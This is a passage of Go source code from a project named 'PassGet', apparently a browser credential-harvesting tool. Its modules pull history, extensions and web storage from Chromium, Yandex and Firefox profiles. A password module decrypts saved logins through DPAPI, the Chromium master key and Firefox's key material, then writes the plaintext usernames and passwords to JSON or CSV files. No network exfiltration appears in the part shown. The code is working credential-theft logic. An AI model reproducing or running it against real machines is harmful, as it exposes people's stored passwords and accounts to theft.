76 | case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
77 | return true
78 | }
79 | // https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h
80 | enabled := !ext.Get("disable_reasons").Exists()
81 | b := ext.Get("manifest")
82 | if !b.Exists() {
83 | c = append(c, &extension{
84 | ID: id.String(),
85 | Enabled: enabled,
86 | Name: ext.Get("path").String(),
87 | })
88 | return true
89 | }
90 | c = append(c, &extension{
91 | ID: id.String(),
92 | URL: getChromiumExtURL(id.String(), b.Get("update_url").String()),
93 | Enabled: enabled,
94 | Name: b.Get("name").String(),
95 | Description: b.Get("description").String(),
96 | Version: b.Get("version").String(),
97 | HomepageURL: b.Get("homepage_url").String(),
98 | })
99 | return true
100 | })
101 |
102 | return c, nil
103 | }
104 |
105 | func getChromiumExtURL(id, updateURL string) string {
106 | if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") {
107 | return "https://chrome.google.com/webstore/detail/" + id
108 | } else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") {
109 | return "https://microsoftedge.microsoft.com/addons/detail/" + id
110 | }
111 | return ""
112 | }
113 |
114 | func (c *ChromiumExtension) Name() string {
115 | return "extension"
116 | }
117 |
118 | func (c *ChromiumExtension) Len() int {
119 | return len(*c)
120 | }
121 |
122 | type FirefoxExtension []*extension
123 |
124 | var lang = language.Und
125 |
126 | func (f *FirefoxExtension) Extract(_ []byte) error {
127 | s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())
128 | if err != nil {
129 | return err
130 | }
131 | _ = os.Remove(types.FirefoxExtension.TempFilename())
132 | j := gjson.Parse(s)
133 | for _, v := range j.Get("addons").Array() {
134 | // https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157
135 | if v.Get("location").String() != "app-profile" {
136 | continue
137 | }
138 |
139 | if lang != language.Und {
140 | locale := findFirefoxLocale(v.Get("locales").Array(), lang)
141 | *f = append(*f, &extension{
142 | ID: v.Get("id").String(),
143 | Enabled: v.Get("active").Bool(),
144 | Name: locale.Get("name").String(),
145 | Description: locale.Get("description").String(),
146 | Version: v.Get("version").String(),
147 | HomepageURL: locale.Get("homepageURL").String(),
148 | })
149 | continue
150 | }
151 |
152 | *f = append(*f, &extension{
153 | ID: v.Get("id").String(),
154 | Enabled: v.Get("active").Bool(),
155 | Name: v.Get("defaultLocale.name").String(),
156 | Description: v.Get("defaultLocale.description").String(),
157 | Version: v.Get("version").String(),
158 | HomepageURL: v.Get("defaultLocale.homepageURL").String(),
159 | })
160 | }
161 | return nil
162 | }
163 |
164 | func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {
165 | tags := make([]language.Tag, 0, len(locales))
166 | indices := make([]int, 0, len(locales))
167 | for i, locale := range locales {
168 | for _, tagStr := range locale.Get("locales").Array() {
169 | tag, _ := language.Parse(tagStr.String())
170 | if tag == language.Und {
171 | continue
172 | }
173 | tags = append(tags, tag)
174 | indices = append(indices, i)
175 | }
176 | }
177 | _, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)
178 | return locales[indices[tagIndex]]
179 | }
180 |
181 | func (f *FirefoxExtension) Name() string {
182 | return "extension"
183 | }
184 |
185 | func (f *FirefoxExtension) Len() int {
186 | return len(*f)
187 | }
188 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/history/history.go:
--------------------------------------------------------------------------------
1 | package history
2 |
3 | import (
4 | "database/sql"
5 | "os"
6 | "sort"
7 | "time"
8 |
9 | // import sqlite3 driver
10 | _ "modernc.org/sqlite"
11 |
12 | "PassGet/log"
13 | "PassGet/modules/utils/browser/extractor"
14 | "PassGet/modules/utils/browser/types"
15 | "PassGet/modules/utils/browser/typeutil"
16 | )
17 |
18 | func init() {
19 | extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {
20 | return new(ChromiumHistory)
21 | })
22 | extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {
23 | return new(FirefoxHistory)
24 | })
25 | }
26 |
27 | type ChromiumHistory []history
28 |
29 | type history struct {
30 | Title string
31 | URL string
32 | VisitCount int
33 | LastVisitTime time.Time
34 | }
35 |
36 | const (
37 | queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
38 | )
39 |
40 | func (c *ChromiumHistory) Extract(_ []byte) error {
41 | db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename())
42 | if err != nil {
43 | return err
44 | }
45 | defer os.Remove(types.ChromiumHistory.TempFilename())
46 | defer db.Close()
47 |
48 | rows, err := db.Query(queryChromiumHistory)
49 | if err != nil {
50 | return err
51 | }
52 | defer rows.Close()
53 | for rows.Next() {
54 | var (
55 | url, title string
56 | visitCount int
57 | lastVisitTime int64
58 | )
59 | if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
60 | //log.Warnf("scan chromium history error: %v", err)
61 | }
62 | data := history{
63 | URL: url,
64 | Title: title,
65 | VisitCount: visitCount,
66 | LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
67 | }
68 | *c = append(*c, data)
69 | }
70 | sort.Slice(*c, func(i, j int) bool {
71 | return (*c)[i].VisitCount > (*c)[j].VisitCount
72 | })
73 | return nil
74 | }
75 |
76 | func (c *ChromiumHistory) Name() string {
77 | return "history"
78 | }
79 |
80 | func (c *ChromiumHistory) Len() int {
81 | return len(*c)
82 | }
83 |
84 | type FirefoxHistory []history
85 |
86 | const (
87 | queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
88 | closeJournalMode = `PRAGMA journal_mode=off`
89 | )
90 |
91 | func (f *FirefoxHistory) Extract(_ []byte) error {
92 | db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename())
93 | if err != nil {
94 | return err
95 | }
96 | defer os.Remove(types.FirefoxHistory.TempFilename())
97 | defer db.Close()
98 |
99 | _, err = db.Exec(closeJournalMode)
100 | if err != nil {
101 | return err
102 | }
103 | defer db.Close()
104 | rows, err := db.Query(queryFirefoxHistory)
105 | if err != nil {
106 | return err
107 | }
108 | defer rows.Close()
109 | for rows.Next() {
110 | var (
111 | id, visitDate int64
112 | url, title string
113 | visitCount int
114 | )
115 | if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
116 | log.Debugf("scan firefox history error: %v", err)
117 | }
118 | *f = append(*f, history{
119 | Title: title,
120 | URL: url,
121 | VisitCount: visitCount,
122 | LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
123 | })
124 | }
125 | sort.Slice(*f, func(i, j int) bool {
126 | return (*f)[i].VisitCount < (*f)[j].VisitCount
127 | })
128 | return nil
129 | }
130 |
131 | func (f *FirefoxHistory) Name() string {
132 | return "history"
133 | }
134 |
135 | func (f *FirefoxHistory) Len() int {
136 | return len(*f)
137 | }
138 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/imports.go:
--------------------------------------------------------------------------------
1 | // Package browserdata is responsible for initializing all the necessary
2 | // components that handle different types of browser data extraction.
3 | // This file, imports.go, is specifically used to import various data
4 | // handler packages to ensure their initialization logic is executed.
5 | // These imports are crucial as they trigger the `init()` functions
6 | // within each package, which typically handle registration of their
7 | // specific data handlers to a central registry.
8 | package browserdata
9 |
10 | import (
11 | _ "PassGet/modules/browser/browserdata/bookmark"
12 | _ "PassGet/modules/browser/browserdata/cookie"
13 | _ "PassGet/modules/browser/browserdata/creditcard"
14 | _ "PassGet/modules/browser/browserdata/download"
15 | _ "PassGet/modules/browser/browserdata/extension"
16 | _ "PassGet/modules/browser/browserdata/history"
17 | _ "PassGet/modules/browser/browserdata/localstorage"
18 | _ "PassGet/modules/browser/browserdata/password"
19 | _ "PassGet/modules/browser/browserdata/sessionstorage"
20 | )
21 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/localstorage/localstorage.go:
--------------------------------------------------------------------------------
1 | package localstorage
2 |
3 | import (
4 | "bytes"
5 | "database/sql"
6 | "fmt"
7 | "os"
8 | "strings"
9 |
10 | "github.com/syndtr/goleveldb/leveldb"
11 | "golang.org/x/text/encoding/unicode"
12 | "golang.org/x/text/transform"
13 |
14 | "PassGet/log"
15 | "PassGet/modules/utils/browser/byteutil"
16 | "PassGet/modules/utils/browser/extractor"
17 | "PassGet/modules/utils/browser/types"
18 | "PassGet/modules/utils/browser/typeutil"
19 | )
20 |
21 | func init() {
22 | extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {
23 | return new(ChromiumLocalStorage)
24 | })
25 | extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {
26 | return new(FirefoxLocalStorage)
27 | })
28 | }
29 |
30 | type ChromiumLocalStorage []storage
31 |
32 | type storage struct {
33 | IsMeta bool
34 | URL string
35 | Key string
36 | Value string
37 | }
38 |
39 | const maxLocalStorageValueLength = 1024 * 2
40 |
41 | func (c *ChromiumLocalStorage) Extract(_ []byte) error {
42 | db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)
43 | if err != nil {
44 | return err
45 | }
46 | defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())
47 | defer db.Close()
48 |
49 | iter := db.NewIterator(nil, nil)
50 | for iter.Next() {
51 | key := iter.Key()
52 | value := iter.Value()
53 | s := new(storage)
54 | s.fillKey(key)
55 | // don't all value upper than 2KB
56 | if len(value) < maxLocalStorageValueLength {
57 | s.fillValue(value)
58 | } else {
59 | s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
60 | }
61 | if s.IsMeta {
62 | s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
63 | }
64 | *c = append(*c, *s)
65 | }
66 | iter.Release()
67 | err = iter.Error()
68 | return err
69 | }
70 |
71 | func (c *ChromiumLocalStorage) Name() string {
72 | return "localStorage"
73 | }
74 |
75 | func (c *ChromiumLocalStorage) Len() int {
76 | return len(*c)
77 | }
78 |
79 | func (s *storage) fillKey(b []byte) {
80 | keys := bytes.Split(b, []byte("\x00"))
81 | if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
82 | s.IsMeta = true
83 | s.fillMetaHeader(keys[0])
84 | }
85 | if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
86 | s.fillHeader(keys[0], keys[1])
87 | }
88 | }
89 |
90 | func (s *storage) fillMetaHeader(b []byte) {
91 | s.URL = string(bytes.Trim(b, "META:"))
92 | }
93 |
94 | func (s *storage) fillHeader(url, key []byte) {
95 | s.URL = string(bytes.Trim(url, "_"))
96 | s.Key = string(bytes.Trim(key, "\x01"))
97 | }
98 |
99 | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
100 | r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
101 | return r, err
102 | }
103 |
104 | // fillValue fills value of the storage
105 | // TODO: support unicode charter
106 | func (s *storage) fillValue(b []byte) {
107 | value := bytes.Map(byteutil.OnSplitUTF8Func, b)
108 | s.Value = string(value)
109 | }
110 |
111 | type FirefoxLocalStorage []storage
112 |
113 | const (
114 | queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
115 | closeJournalMode = `PRAGMA journal_mode=off`
116 | )
117 |
118 | func (f *FirefoxLocalStorage) Extract(_ []byte) error {
119 | db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename())
120 | if err != nil {
121 | return err
122 | }
123 | defer os.Remove(types.FirefoxLocalStorage.TempFilename())
124 | defer db.Close()
125 |
126 | _, err = db.Exec(closeJournalMode)
127 | if err != nil {
128 | log.Debugf("close journal mode error: %v", err)
129 | }
130 | rows, err := db.Query(queryLocalStorage)
131 | if err != nil {
132 | return err
133 | }
134 | defer rows.Close()
135 | for rows.Next() {
136 | var originKey, key, value string
137 | if err = rows.Scan(&originKey, &key, &value); err != nil {
138 | log.Debugf("scan firefox local storage error: %v", err)
139 | }
140 | s := new(storage)
141 | s.fillFirefox(originKey, key, value)
142 | *f = append(*f, *s)
143 | }
144 | return nil
145 | }
146 |
147 | func (s *storage) fillFirefox(originKey, key, value string) {
148 | // originKey = moc.buhtig.:https:443
149 | p := strings.Split(originKey, ":")
150 | h := typeutil.Reverse([]byte(p[0]))
151 | if bytes.HasPrefix(h, []byte(".")) {
152 | h = h[1:]
153 | }
154 | if len(p) == 3 {
155 | s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
156 | }
157 | s.Key = key
158 | s.Value = value
159 | }
160 |
161 | func (f *FirefoxLocalStorage) Name() string {
162 | return "localStorage"
163 | }
164 |
165 | func (f *FirefoxLocalStorage) Len() int {
166 | return len(*f)
167 | }
168 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/localstorage/localstorage_test.go:
--------------------------------------------------------------------------------
1 | package localstorage
2 |
3 | import (
4 | "testing"
5 |
6 | "github.com/stretchr/testify/assert"
7 | "golang.org/x/text/encoding/unicode"
8 | )
9 |
10 | var testCases = []struct {
11 | in []byte
12 | wanted []byte
13 | actual []byte
14 | }{
15 | {
16 | in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
17 | wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
18 | actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
19 | },
20 | }
21 |
22 | func TestLocalStorageKeyToUTF8(t *testing.T) {
23 | t.Parallel()
24 | for _, tc := range testCases {
25 | actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
26 | if err != nil {
27 | t.Error(err)
28 | }
29 | // TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
30 | // but now, it can't convert, so just skip it.
31 | assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/outputter.go:
--------------------------------------------------------------------------------
1 | package browserdata
2 |
3 | import (
4 | "encoding/csv"
5 | "encoding/json"
6 | "errors"
7 | "io"
8 | "os"
9 | "path/filepath"
10 |
11 | "github.com/gocarina/gocsv"
12 | "golang.org/x/text/encoding/unicode"
13 | "golang.org/x/text/transform"
14 |
15 | "PassGet/modules/utils/browser/extractor"
16 | )
17 |
18 | type outPutter struct {
19 | json bool
20 | csv bool
21 | }
22 |
23 | func newOutPutter(flag string) *outPutter {
24 | o := &outPutter{}
25 | if flag == "json" {
26 | o.json = true
27 | } else {
28 | o.csv = true
29 | }
30 | return o
31 | }
32 |
33 | func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {
34 | switch o.json {
35 | case true:
36 | encoder := json.NewEncoder(writer)
37 | encoder.SetIndent("", " ")
38 | encoder.SetEscapeHTML(false)
39 | return encoder.Encode(data)
40 | default:
41 | gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
42 | writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
43 | writer.Comma = ','
44 | return gocsv.NewSafeCSVWriter(writer)
45 | })
46 | return gocsv.Marshal(data, writer)
47 | }
48 | }
49 |
50 | func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
51 | if filename == "" {
52 | return nil, errors.New("empty filename")
53 | }
54 |
55 | if dir != "" {
56 | if _, err := os.Stat(dir); os.IsNotExist(err) {
57 | err := os.MkdirAll(dir, 0o750)
58 | if err != nil {
59 | return nil, err
60 | }
61 | }
62 | }
63 |
64 | var file *os.File
65 | var err error
66 | p := filepath.Join(dir, filename)
67 | file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
68 | if err != nil {
69 | return nil, err
70 | }
71 | return file, nil
72 | }
73 |
74 | func (o *outPutter) Ext() string {
75 | if o.json {
76 | return "json"
77 | }
78 | return "csv"
79 | }
80 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/password/password.go:
--------------------------------------------------------------------------------
1 | package password
2 |
3 | import (
4 | "database/sql"
5 | "encoding/base64"
6 | "os"
7 | "sort"
8 | "time"
9 |
10 | "github.com/tidwall/gjson"
11 | _ "modernc.org/sqlite" // import sqlite3 driver
12 |
13 | "PassGet/log"
14 | "PassGet/modules/utils/browser/crypto"
15 | "PassGet/modules/utils/browser/extractor"
16 | "PassGet/modules/utils/browser/types"
17 | "PassGet/modules/utils/browser/typeutil"
18 | )
19 |
20 | func init() {
21 | extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {
22 | return new(ChromiumPassword)
23 | })
24 | extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {
25 | return new(YandexPassword)
26 | })
27 | extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {
28 | return new(FirefoxPassword)
29 | })
30 | }
31 |
32 | type ChromiumPassword []loginData
33 |
34 | type loginData struct {
35 | UserName string
36 | encryptPass []byte
37 | encryptUser []byte
38 | Password string
39 | LoginURL string
40 | CreateDate time.Time
41 | }
42 |
43 | const (
44 | queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
45 | )
46 |
47 | func (c *ChromiumPassword) Extract(masterKey []byte) error {
48 | db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename())
49 | if err != nil {
50 | return err
51 | }
52 | defer os.Remove(types.ChromiumPassword.TempFilename())
53 | defer db.Close()
54 |
55 | rows, err := db.Query(queryChromiumLogin)
56 | if err != nil {
57 | return err
58 | }
59 | defer rows.Close()
60 |
61 | for rows.Next() {
62 | var (
63 | url, username string
64 | pwd, password []byte
65 | create int64
66 | )
67 | if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
68 | log.Debugf("scan chromium password error: %v", err)
69 | }
70 | login := loginData{
71 | UserName: username,
72 | encryptPass: pwd,
73 | LoginURL: url,
74 | }
75 |
76 | if len(pwd) > 0 {
77 | password, err = crypto.DecryptWithDPAPI(pwd)
78 | if err != nil {
79 | password, err = crypto.DecryptWithChromium(masterKey, pwd)
80 | if err != nil {
81 | log.Debugf("decrypt chromium password error: %v", err)
82 | }
83 | }
84 | }
85 |
86 | if create > time.Now().Unix() {
87 | login.CreateDate = typeutil.TimeEpoch(create)
88 | } else {
89 | login.CreateDate = typeutil.TimeStamp(create)
90 | }
91 | login.Password = string(password)
92 | *c = append(*c, login)
93 | }
94 | // sort with create date
95 | sort.Slice(*c, func(i, j int) bool {
96 | return (*c)[i].CreateDate.After((*c)[j].CreateDate)
97 | })
98 | return nil
99 | }
100 |
101 | func (c *ChromiumPassword) Name() string {
102 | return "password"
103 | }
104 |
105 | func (c *ChromiumPassword) Len() int {
106 | return len(*c)
107 | }
108 |
109 | type YandexPassword []loginData
110 |
111 | const (
112 | queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
113 | )
114 |
115 | func (c *YandexPassword) Extract(masterKey []byte) error {
116 | db, err := sql.Open("sqlite", types.YandexPassword.TempFilename())
117 | if err != nil {
118 | return err
119 | }
120 | defer os.Remove(types.YandexPassword.TempFilename())
121 | defer db.Close()
122 |
123 | rows, err := db.Query(queryYandexLogin)
124 | if err != nil {
125 | return err
126 | }
127 | defer rows.Close()
128 |
129 | for rows.Next() {
130 | var (
131 | url, username string
132 | pwd, password []byte
133 | create int64
134 | )
135 | if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
136 | log.Debugf("scan yandex password error: %v", err)
137 | }
138 | login := loginData{
139 | UserName: username,
140 | encryptPass: pwd,
141 | LoginURL: url,
142 | }
143 |
144 | if len(pwd) > 0 {
145 | if len(masterKey) == 0 {
146 | password, err = crypto.DecryptWithDPAPI(pwd)
147 | } else {
148 | password, err = crypto.DecryptWithChromium(masterKey, pwd)
149 | }
150 | if err != nil {
151 | log.Debugf("decrypt yandex password error: %v", err)
152 | }
153 | }
154 | if create > time.Now().Unix() {
155 | login.CreateDate = typeutil.TimeEpoch(create)
156 | } else {
157 | login.CreateDate = typeutil.TimeStamp(create)
158 | }
159 | login.Password = string(password)
160 | *c = append(*c, login)
161 | }
162 | // sort with create date
163 | sort.Slice(*c, func(i, j int) bool {
164 | return (*c)[i].CreateDate.After((*c)[j].CreateDate)
165 | })
166 | return nil
167 | }
168 |
169 | func (c *YandexPassword) Name() string {
170 | return "password"
171 | }
172 |
173 | func (c *YandexPassword) Len() int {
174 | return len(*c)
175 | }
176 |
177 | type FirefoxPassword []loginData
178 |
179 | func (f *FirefoxPassword) Extract(globalSalt []byte) error {
180 | logins, err := getFirefoxLoginData()
181 | if err != nil {
182 | return err
183 | }
184 |
185 | for _, v := range logins {
186 | userPBE, err := crypto.NewASN1PBE(v.encryptUser)
187 | if err != nil {
188 | return err
189 | }
190 | pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
191 | if err != nil {
192 | return err
193 | }
194 | user, err := userPBE.Decrypt(globalSalt)
195 | if err != nil {
196 | return err
197 | }
198 | pwd, err := pwdPBE.Decrypt(globalSalt)
199 | if err != nil {
200 | return err
201 | }
202 | *f = append(*f, loginData{
203 | LoginURL: v.LoginURL,
204 | UserName: string(user),
205 | Password: string(pwd),
206 | CreateDate: v.CreateDate,
207 | })
208 | }
209 |
210 | sort.Slice(*f, func(i, j int) bool {
211 | return (*f)[i].CreateDate.After((*f)[j].CreateDate)
212 | })
213 | return nil
214 | }
215 |
216 | func getFirefoxLoginData() ([]loginData, error) {
217 | s, err := os.ReadFile(types.FirefoxPassword.TempFilename())
218 | if err != nil {
219 | return nil, err
220 | }
221 | defer os.Remove(types.FirefoxPassword.TempFilename())
222 | loginsJSON := gjson.GetBytes(s, "logins")
223 | var logins []loginData
224 | if loginsJSON.Exists() {
225 | for _, v := range loginsJSON.Array() {
226 | var (
227 | m loginData
228 | user []byte
229 | pass []byte
230 | )
231 | m.LoginURL = v.Get("formSubmitURL").String()
232 | user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
233 | if err != nil {
234 | return nil, err
235 | }
236 | pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
237 | if err != nil {
238 | return nil, err
239 | }
240 | m.encryptUser = user
241 | m.encryptPass = pass
242 | m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
243 | logins = append(logins, m)
244 | }
245 | }
246 | return logins, nil
247 | }
248 |
249 | func (f *FirefoxPassword) Name() string {
250 | return "password"
251 | }
252 |
253 | func (f *FirefoxPassword) Len() int {
254 | return len(*f)
255 | }
256 |
--------------------------------------------------------------------------------
/modules/browser/browserdata/sessionstorage/sessionstorage.go:
--------------------------------------------------------------------------------
1 | package sessionstorage
2 |
3 | import (
4 | "bytes"
5 | "database/sql"
6 | "fmt"
7 | "os"
8 | "strings"
9 |
10 | "github.com/syndtr/goleveldb/leveldb"
11 | "golang.org/x/text/encoding/unicode"
12 | "golang.org/x/text/transform"
13 |
14 | "PassGet/log"
15 | "PassGet/modules/utils/browser/byteutil"
16 | "PassGet/modules/utils/browser/extractor"
17 | "PassGet/modules/utils/browser/types"
18 | "PassGet/modules/utils/browser/typeutil"
19 | )
20 |
21 | func init() {
22 | extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {
23 | return new(ChromiumSessionStorage)
24 | })
25 | extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {
26 | return new(FirefoxSessionStorage)
27 | })
28 | }
29 |
30 | type ChromiumSessionStorage []session
31 |
32 | type session struct {
33 | IsMeta bool
34 | URL string
35 | Key string
36 | Value string
37 | }
38 |
39 | const maxLocalStorageValueLength = 1024 * 2
40 |
41 | func (c *ChromiumSessionStorage) Extract(_ []byte) error {
42 | db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)
43 | if err != nil {
44 | return err
45 | }
46 | defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())
47 | defer db.Close()
48 |
49 | iter := db.NewIterator(nil, nil)
50 | for iter.Next() {
51 | key := iter.Key()
52 | value := iter.Value()
53 | s := new(session)
54 | s.fillKey(key)
55 | // don't all value upper than 2KB
56 | if len(value) < maxLocalStorageValueLength {
57 | s.fillValue(value)
58 | } else {
59 | s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
60 | }
61 | if s.IsMeta {
62 | s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
63 | }
64 | *c = append(*c, *s)
65 | }
66 | iter.Release()
67 | err = iter.Error()
68 | return err
69 | }
70 |
71 | func (c *ChromiumSessionStorage) Name() string {
72 | return "sessionStorage"
73 | }
74 |
75 | func (c *ChromiumSessionStorage) Len() int {
76 | return len(*c)
77 | }
78 |
79 | func (s *session) fillKey(b []byte) {
80 | keys := bytes.Split(b, []byte("-"))
81 | if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
82 | s.IsMeta = true
83 | s.fillMetaHeader(keys[0])
84 | }
85 | if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
86 | s.fillHeader(keys[0], keys[1])
87 | }
88 | if len(keys) == 3 {
89 | if string(keys[0]) == "map" {
90 | s.Key = string(keys[2])
91 | } else if string(keys[0]) == "namespace" {
92 | s.URL = string(keys[2])
93 | s.Key = string(keys[1])
94 | }
95 | }
96 | }
97 |
98 | func (s *session) fillMetaHeader(b []byte) {
99 | s.URL = string(bytes.Trim(b, "META:"))
100 | }
101 |
102 | func (s *session) fillHeader(url, key []byte) {
103 | s.URL = string(bytes.Trim(url, "_"))
104 | s.Key = string(bytes.Trim(key, "\x01"))
105 | }
106 |
107 | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
108 | r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
109 | return r, err
110 | }
111 |
112 | // fillValue fills value of the storage
113 | // TODO: support unicode charter
114 | func (s *session) fillValue(b []byte) {
115 | value := bytes.Map(byteutil.OnSplitUTF8Func, b)
116 | s.Value = string(value)
117 | }
118 |
119 | type FirefoxSessionStorage []session
120 |
121 | const (
122 | querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
123 | closeJournalMode = `PRAGMA journal_mode=off`
124 | )
125 |
126 | func (f *FirefoxSessionStorage) Extract(_ []byte) error {
